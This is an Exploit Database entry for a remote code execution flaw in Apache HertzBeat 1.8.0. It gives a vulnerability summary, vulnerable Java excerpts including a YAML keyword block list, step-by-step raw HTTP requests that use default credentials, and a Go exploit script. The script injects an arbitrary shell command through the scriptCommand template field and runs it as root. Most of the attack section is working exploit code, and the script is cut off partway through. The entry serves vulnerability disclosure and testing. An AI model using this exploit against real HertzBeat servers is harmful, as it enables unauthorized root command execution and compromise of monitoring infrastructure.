This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Apache HertzBeat 1.8.0 - Remote Code Execution EDB-ID: 52563 CVE: N/A EDB Verified: Author: BRETT GERVASONI Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-05-14 Vulnerable App: # Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution # Google Dork: N/A # Date: 2026-03-09 # Exploit Author: Brett Gervasoni # Vendor Homepage: https://hertzbeat.apache.org/ # Software Link: https://github.com/apache/hertzbeat/releases # Version: 1.8.0 # Tested on: Linux (Docker; official HertzBeat image, uid=0 in container) # CVE: N/A ================================================================================ METADATA ================================================================================ Severity: CRITICAL Impact: Arbitrary command execution via monitoring template (script protocol) CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0) Affected Component: ScriptCollectImpl.collect() Affected Endpoint: PUT /api/apps/define/yml Authentication: Required (standard user or admin) Note: Apache Security does not classify this as a vulnerability; see HertzBeat security model: https://hertzbeat.apache.org/docs/help/security_model/ ================================================================================ VULNERABILITY SUMMARY ================================================================================ HertzBeat allows arbitrary OS commands to be executed via the scriptCommand parameter in a monitoring template definition. An authenticated user can overwrite a monitoring template definition via PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job. When the YAML specifies protocol: script, the attacker-controlled scriptCommand string is passed to ProcessBuilder (bash -c "<command>") without sanitization. If the overwritten template has active monitoring instances, updateAppCollectJob() re-dispatches them, triggering execution within seconds. If none exist, the attacker can create one via POST /api/monitor to trigger immediate execution. The default Docker deployment runs the process as root (uid=0). ================================================================================ VULNERABLE CODE (REFERENCE) ================================================================================ Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution: public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) { ScriptProtocol scriptProtocol = metrics.getScript(); // ... if (StringUtils.hasText(scriptProtocol.getScriptCommand())) { switch (scriptProtocol.getScriptTool()) { case BASH -> processBuilder = new ProcessBuilder( BASH, BASH_C, scriptProtocol.getScriptCommand().trim()); // payload // ... } } // ... Process process = processBuilder.start(); // executed } YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML gadget strings, not shell command injection: private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"}; ================================================================================ PROOF OF CONCEPT — RAW HTTP ================================================================================ Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a standard user "operator" / "hertzbeat" (user role); admin with default password also works. --- Step 1: Authenticate --- POST /api/account/auth/form HTTP/1.1 Host: TARGET:1157 Content-Type: application/json {"type":1,"identifier":"operator","credential":"hertzbeat"} Response: data.token (JWT) — use as Bearer below. --- Step 2: Overwrite linux_script template --- PUT /api/apps/define/yml HTTP/1.1 Host: TARGET:1157 Authorization: Bearer <JWT> Content-Type: application/json {"define":"app: linux_script\ncategory: os\nname:\n en-US: Linux Script\n zh-CN: Linux Script\nparams:\n - field: host\n name:\n en-US: Host\n zh-CN: Host\n type: host\n required: true\nmetrics:\n - name: basic\n i18n:\n en-US: Basic\n zh-CN: Basic\n priority: 0\n fields:\n - field: result\n type: 1\n i18n:\n en-US: Result\n zh-CN: Result\n protocol: script\n script:\n scriptTool: bash\n charset: UTF-8\n scriptCommand: id > /tmp/pwned\n parseType: multiRow\n"} Decoded define (YAML): app: linux_script category: os name: en-US: Linux Script zh-CN: Linux Script params: - field: host name: en-US: Host zh-CN: Host type: host required: true metrics: - name: basic i18n: en-US: Basic zh-CN: Basic priority: 0 fields: - field: result type: 1 i18n: en-US: Result zh-CN: Result protocol: script script: scriptTool: bash charset: UTF-8 scriptCommand: id > /tmp/pwned parseType: multiRow Expected response: HTTP/1.1 200 OK Content-Type: application/json {"code":0,"msg":null,"data":null} --- Step 3: Create monitor (if no linux_script monitors exist) --- POST /api/monitor HTTP/1.1 Host: TARGET:1157 Authorization: Bearer <JWT> Content-Type: application/json {"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]} --- Step 4: Verify (example: Docker) --- docker exec hertzbeat cat /tmp/pwned Expected: uid=0(root) gid=0(root) groups=0(root) ================================================================================ EXPLOIT CODE — script_command_rce.go (Go) ================================================================================ package main import ( "bytes" "encoding/json" "fmt" "io" "math/rand" "net/http" "os" "strings" ) const target = "http://localhost:1157" type authResponse struct { Code int `json:"code"` Data struct { Token string `json:"token"` } `json:"data"` } type apiResponse struct { Code int `json:"code"` Msg string `json:"msg"` } func main() { if len(os.Args) < 2 { fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0]) fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0]) os.Exit(1) } cmd := strings.Join(os.Args[1:], " ") fmt.Println("============================================================") fmt.Println(" HertzBeat ScriptCollectImpl RCE") fmt.Println("============================================================") fmt.Println() fmt.Println("[*] Authenticating...") token, err := authenticate() if err != nil { fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err) os.Exit(1) } fmt.Printf("[+] Got token: %s...\n\n", token[:40]) fmt.Println("[*] Overwriting linux_script template...") fmt.Printf(" PUT /api/apps/define/yml\n") fmt.Printf(" scriptCommand: %s\n", cmd) err = putMaliciousDefine(token, cmd) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err) os.Exit(1) } fmt.Println("[+] Template overwritten.") fmt.Println() fmt.Println("[*] Creating monitor instance to trigger collection...") fmt.Println(" POST /api/monitor with app: linux_script") err = createMonitor(token) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err) fmt.Println("[*] This may fail if a monitor already exists — checking anyway...") } else { fmt.Println("[+] Monitor created.") fmt.Println() } fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.") fmt.Printf("[+] Command: %s\n\n", cmd) fmt.Println("[*] Verify with (assuming its running in docker locally):") fmt.Println(" docker exec hertzbeat <check your payload>") } func authenticate() (string, error) { body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}` resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body)) if err != nil { return "", err } defer resp.Body.Close() var result authResponse if err := json.NewDecoder(resp.Body).Decode(&result); err != nil { return "", err } if result.Code != 0 || result.Data.Token == "" { return "", fmt.Errorf("unexpected response code %d", result.Code) } return result.Data.Token, nil } func putMaliciousDefine(token, command string) error { define := fmt.Sprintf(`app: linux_script category: os name: en-US: Linux Script zh-CN: Linux Script params: - field: host name: en-US: Host zh-CN: Host type: host required: true metrics: - name: basic i18n: en-US: Basic zh-CN: Basic priority: 0 fields: - field: result type: 1 i18n: en-US: Result zh-CN: Result protocol: script script: scriptTool: bash charset: UTF-8 scriptCommand: "%s && echo result done" parseType: multiRow `, command) payload, _ := json.Marshal(map[string]string{"define": define}) req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload)) req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", "Bearer "+token) resp, err := http.DefaultClient.Do(req) if err != nil { return err } defer resp.Body.Close() respBody, _ := io.ReadAll(resp.Body) var result apiResponse if err := json.Unmarshal(respBody, &result); err != nil { return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody)) } if result.Code != 0 { return fmt.Errorf("API error (code %d): %
A critical vulnerability (CWE-78) in Apache HertzBeat 1.8.0 allows authenticated users to achieve remote code execution by submitting a malicious `scriptCommand` parameter within a monitoring template YAML definition via the `PUT /api/apps/define/yml` endpoint. The unsanitized command is executed via `ProcessBuilder`, and in the default Docker deployment, the process runs with root privileges. The vendor does not classify this as a vulnerability per their security model, so no fixed version or official patch is provided.